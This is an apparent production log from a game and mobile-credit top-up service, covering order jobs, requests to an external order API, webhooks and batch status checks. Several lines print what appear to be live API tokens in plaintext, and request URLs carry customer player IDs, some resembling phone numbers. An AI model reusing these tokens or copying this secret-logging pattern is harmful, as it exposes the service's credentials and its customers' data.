[2026-03-24 15:16:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YgLqk0-1774354491","operation_id":163739,"orders_count":1,"order_ids":["ORD-iW2LlitE-1774354556"]} 
[2026-03-24 15:16:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YgLqk0-1774354491","operation_id":163739} 
[2026-03-24 15:16:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YgLqk0-1774354491","operation_id":163739,"orders_count":1} 
[2026-03-24 15:16:03] production.INFO: No pending operation found for order {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iW2LlitE-1774354556","operation_id":163739} 
[2026-03-24 15:16:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iW2LlitE-1774354556","operation_id":163739,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 15:16:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iW2LlitE-1774354556","operation_id":163739,"processed":0,"errors":0} 
[2026-03-24 15:16:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"7iFouNfQeLReIFPm4Dw0R473Afw78Zed","execution_time":"2026-03-24 15:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iW2LlitE-1774354556","operation_id":163739} 
[2026-03-24 15:16:03] production.INFO: Handling job for order: 178823  
[2026-03-24 15:16:03] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 15:16:03] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:16:03] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/16/params?qty=1&uuid=0296c294-24dd-4414-8aa0-ad5d1a71fd80&Player_ID=0958405208  
[2026-03-24 15:16:03] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/16/params?qty=1&uuid=0296c294-24dd-4414-8aa0-ad5d1a71fd80&Player_ID=0958405208","has_body":false} 
[2026-03-24 15:16:04] production.INFO: Operation sent successfully {"operation_id":163742,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-F9U8f-1774354564","amount":527.6680000000000063664629124104976654052734375,"status":"processing","product":"500 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 15:16:04"}},"processed_data":{"order_number":"ORD-F9U8f-1774354564","amount":527.6680000000000063664629124104976654052734375,"status":"processing","product":"500 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 15:16:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 861  
[2026-03-24 15:16:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1071  
[2026-03-24 15:16:04] production.INFO: Constructing job for order: 178824  
[2026-03-24 15:16:07] production.INFO: Handling job for order: 178824  
[2026-03-24 15:16:07] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:16:07] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:16:07] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=22a66d0c-f424-4025-8087-d65ca4073724&Player_ID=51715104414  
[2026-03-24 15:16:07] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=22a66d0c-f424-4025-8087-d65ca4073724&Player_ID=51715104414","has_body":false} 
[2026-03-24 15:16:08] production.INFO: Operation sent successfully {"operation_id":163743,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-UEJyMytu-1774354568","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:16:08"}},"processed_data":{"order_number":"ORD-UEJyMytu-1774354568","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 15:16:20] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-UEJyMytu-1774354568","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:16:20] production.INFO: Processed webhook data (normalized) {"id":"ORD-UEJyMytu-1774354568","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:16:20] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:16:20] production.INFO: SendAcceptReject: Notification queued {"user_id":529,"notification_type":"order_approved","reference_id":178824} 
[2026-03-24 15:16:20] production.INFO: Order updated successfully. Order ID: 178824, Status: completed  
[2026-03-24 15:16:20] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-UEJyMytu-1774354568","status":"completed","codes_count":0} 
[2026-03-24 15:16:22] production.INFO: Constructing job for order: 178825  
[2026-03-24 15:16:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 529  
[2026-03-24 15:16:23] production.INFO: Handling job for order: 178825  
[2026-03-24 15:16:23] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 15:16:23] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:16:23] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/816/params?qty=1&uuid=ec6344d5-72a2-4225-a3f5-2ee99c5825e8&Player_ID=0982663382  
[2026-03-24 15:16:23] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/816/params?qty=1&uuid=ec6344d5-72a2-4225-a3f5-2ee99c5825e8&Player_ID=0982663382","has_body":false} 
[2026-03-24 15:16:24] production.ERROR: ❌ Missing required field: order_number for site: swgamessls {"available_fields":["error","message"],"required_fields":["order_number","amount","status"]} 
[2026-03-24 15:16:24] production.ERROR: 🚨 Failed to reject order on parse error {"operation_id":163744,"exception":"Unknown named parameter $userId"} 
[2026-03-24 15:16:24] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 770  
[2026-03-24 15:16:32] production.INFO: Constructing job for order: 178826  
[2026-03-24 15:16:33] production.INFO: Handling job for order: 178826  
[2026-03-24 15:16:33] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 15:16:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:16:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=584aa612-a372-459d-9009-cf8f8ab528a7&Player_ID=0982663382  
[2026-03-24 15:16:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=584aa612-a372-459d-9009-cf8f8ab528a7&Player_ID=0982663382","has_body":false} 
[2026-03-24 15:16:33] production.INFO: Operation sent successfully {"operation_id":163745,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-fvm4ThdI-1774354593","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 15:16:33"}},"processed_data":{"order_number":"ORD-fvm4ThdI-1774354593","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 15:16:46] production.INFO: Constructing job for order: 178827  
[2026-03-24 15:16:48] production.INFO: Handling job for order: 178827  
[2026-03-24 15:16:48] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 15:16:48] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:16:48] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/41/params?qty=1&uuid=b56ea57b-90fc-495e-ab97-e90eceb1e543&Player_ID=0932774597  
[2026-03-24 15:16:48] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/41/params?qty=1&uuid=b56ea57b-90fc-495e-ab97-e90eceb1e543&Player_ID=0932774597","has_body":false} 
[2026-03-24 15:16:49] production.INFO: Operation sent successfully {"operation_id":163746,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-17Hg-1774354609","amount":91.3248300000000057252691476605832576751708984375,"status":"processing","product":"86.54 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 15:16:49"}},"processed_data":{"order_number":"ORD-17Hg-1774354609","amount":91.3248300000000057252691476605832576751708984375,"status":"processing","product":"86.54 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 15:17:20] production.INFO: Constructing job for order: 178828  
[2026-03-24 15:17:22] production.INFO: Handling job for order: 178828  
[2026-03-24 15:17:22] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:17:22] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:17:22] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=15000&uuid=a348ae38-fb88-43b9-9b26-91b26682d98c&Player_ID=588875567  
[2026-03-24 15:17:22] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=15000&uuid=a348ae38-fb88-43b9-9b26-91b26682d98c&Player_ID=588875567","has_body":false} 
[2026-03-24 15:17:23] production.INFO: Operation sent successfully {"operation_id":163747,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-iYyf-1774354643","amount":1.5226124999999999243271986415493302047252655029296875,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 15:17:23"}},"processed_data":{"order_number":"ORD-iYyf-1774354643","amount":1.5226124999999999243271986415493302047252655029296875,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 15:18:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02"} 
[2026-03-24 15:18:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","total_operations":5,"sites_count":2} 
[2026-03-24 15:18:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":4,"site_name":"swgamessls","orders_count":4,"order_ids":["ORD-l3ngC-1774353257","ORD-F9U8f-1774354564","ORD-fvm4ThdI-1774354593","ORD-17Hg-1774354609"]} 
[2026-03-24 15:18:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 15:18:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 15:18:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:18:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":3,"skipped":1,"updates_prepared":3} 
[2026-03-24 15:18:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 15:18:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"count":3} 
[2026-03-24 15:18:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"count":3} 
[2026-03-24 15:18:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"user_id":1056,"notification_type":"order_approved","reference_id":178827} 
[2026-03-24 15:18:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"user_id":5,"notification_type":"order_approved","reference_id":178823} 
[2026-03-24 15:18:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"user_id":770,"notification_type":"order_approved","reference_id":178826} 
[2026-03-24 15:18:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
[2026-03-24 15:18:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"total_processed":3,"total_errors":0,"chunks_processed":1} 
[2026-03-24 15:18:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":3,"errors":0} 
[2026-03-24 15:18:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":3,"errors":0} 
[2026-03-24 15:18:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"orders_count":1,"order_ids":["ORD-iYyf-1774354643"]} 
[2026-03-24 15:18:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:18:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"orders_count":1} 
[2026-03-24 15:18:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iYyf-1774354643","operation_id":163747} 
[2026-03-24 15:18:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iYyf-1774354643","operation_id":163747,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 15:18:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iYyf-1774354643","operation_id":163747,"processed":0,"errors":0} 
[2026-03-24 15:18:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"VxYszbukW3IZ6ZLgAb0oY3NHTS793O3f","execution_time":"2026-03-24 15:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iYyf-1774354643","operation_id":163747} 
[2026-03-24 15:18:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 15:18:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 5  
[2026-03-24 15:18:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 770  
[2026-03-24 15:18:16] production.INFO: Constructing job for order: 178830  
[2026-03-24 15:18:17] production.INFO: Handling job for order: 178830  
[2026-03-24 15:18:17] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:18:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:18:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=dcbb5e29-d9c6-4fc3-99fb-c0020c018b05&Player_ID=8498302536  
[2026-03-24 15:18:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=dcbb5e29-d9c6-4fc3-99fb-c0020c018b05&Player_ID=8498302536","has_body":false} 
[2026-03-24 15:18:18] production.INFO: Operation sent successfully {"operation_id":163748,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-blBWh5mQ-1774354698","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 15:18:18"}},"processed_data":{"order_number":"ORD-blBWh5mQ-1774354698","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 15:18:20] production.INFO: Constructing job for order: 178831  
[2026-03-24 15:18:21] production.INFO: Handling job for order: 178831  
[2026-03-24 15:18:21] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:18:21] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:18:21] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=a271cf87-b296-4677-b1ae-d43c9013a87b&Player_ID=8498302536  
[2026-03-24 15:18:21] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=a271cf87-b296-4677-b1ae-d43c9013a87b&Player_ID=8498302536","has_body":false} 
[2026-03-24 15:18:22] production.INFO: Operation sent successfully {"operation_id":163749,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-hZMrxAr-1774354702","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 15:18:22"}},"processed_data":{"order_number":"ORD-hZMrxAr-1774354702","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 15:18:39] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-blBWh5mQ-1774354698","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:18:39] production.INFO: Processed webhook data (normalized) {"id":"ORD-blBWh5mQ-1774354698","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:18:39] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:18:39] production.INFO: SendAcceptReject: Notification queued {"user_id":13,"notification_type":"order_approved","reference_id":178830} 
[2026-03-24 15:18:39] production.INFO: Order updated successfully. Order ID: 178830, Status: completed  
[2026-03-24 15:18:39] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-blBWh5mQ-1774354698","status":"completed","codes_count":0} 
[2026-03-24 15:18:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 13  
[2026-03-24 15:18:54] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-hZMrxAr-1774354702","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:18:54] production.INFO: Processed webhook data (normalized) {"id":"ORD-hZMrxAr-1774354702","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:18:54] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:18:54] production.INFO: SendAcceptReject: Notification queued {"user_id":13,"notification_type":"order_approved","reference_id":178831} 
[2026-03-24 15:18:54] production.INFO: Order updated successfully. Order ID: 178831, Status: completed  
[2026-03-24 15:18:54] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-hZMrxAr-1774354702","status":"completed","codes_count":0} 
[2026-03-24 15:18:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 13  
[2026-03-24 15:19:16] production.INFO: Constructing job for order: 178832  
[2026-03-24 15:19:19] production.INFO: Handling job for order: 178832  
[2026-03-24 15:19:19] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:19:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:19:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=15000&uuid=38bb9e87-b816-4ea4-9f18-7f7fcf7305cf&Player_ID=589084795  
[2026-03-24 15:19:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=15000&uuid=38bb9e87-b816-4ea4-9f18-7f7fcf7305cf&Player_ID=589084795","has_body":false} 
[2026-03-24 15:19:20] production.INFO: Operation sent successfully {"operation_id":163750,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-IxRfzyG-1774354760","amount":1.5226124999999999243271986415493302047252655029296875,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 15:19:20"}},"processed_data":{"order_number":"ORD-IxRfzyG-1774354760","amount":1.5226124999999999243271986415493302047252655029296875,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 15:20:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"5qzVE7nplMpY5ieta7HFLd3bwt95wmWG","execution_time":"2026-03-24 15:20:02"} 
[2026-03-24 15:20:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"5qzVE7nplMpY5ieta7HFLd3bwt95wmWG","execution_time":"2026-03-24 15:20:02","total_operations":3,"sites_count":2} 
[2026-03-24 15:20:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"5qzVE7nplMpY5ieta7HFLd3bwt95wmWG","execution_time":"2026-03-24 15:20:02","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-l3ngC-1774353257"]} 
[2026-03-24 15:20:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"5qzVE7nplMpY5ieta7HFLd3bwt95wmWG","execution_time":"2026-03-24 15:20:02","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 15:20:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"5qzVE7nplMpY5ieta7HFLd3bwt95wmWG","execution_time":"2026-03-24 15:20:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 15:20:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"5qzVE7nplMpY5ieta7HFLd3bwt95wmWG","execution_time":"2026-03-24 15:20:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:20:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"5qzVE7nplMpY5ieta7HFLd3bwt95wmWG","execution_time":"2026-03-24 15:20:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 15:20:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"5qzVE7nplMpY5ieta7HFLd3bwt95wmWG","execution_time":"2026-03-24 15:20:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":0,"errors":0} 
[2026-03-24 15:20:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"5qzVE7nplMpY5ieta7HFLd3bwt95wmWG","execution_time":"2026-03-24 15:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"orders_count":2,"order_ids":["ORD-iYyf-1774354643","ORD-IxRfzyG-1774354760"]} 
[2026-03-24 15:20:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"5qzVE7nplMpY5ieta7HFLd3bwt95wmWG","execution_time":"2026-03-24 15:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:20:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"5qzVE7nplMpY5ieta7HFLd3bwt95wmWG","execution_time":"2026-03-24 15:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"orders_count":2} 
[2026-03-24 15:20:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"5qzVE7nplMpY5ieta7HFLd3bwt95wmWG","execution_time":"2026-03-24 15:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-IxRfzyG-1774354760","operation_id":163750} 
[2026-03-24 15:20:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"5qzVE7nplMpY5ieta7HFLd3bwt95wmWG","execution_time":"2026-03-24 15:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iYyf-1774354643","operation_id":163747} 
[2026-03-24 15:20:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"5qzVE7nplMpY5ieta7HFLd3bwt95wmWG","execution_time":"2026-03-24 15:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iYyf-1774354643","operation_id":163747,"processed":0,"skipped":2,"updates_prepared":0} 
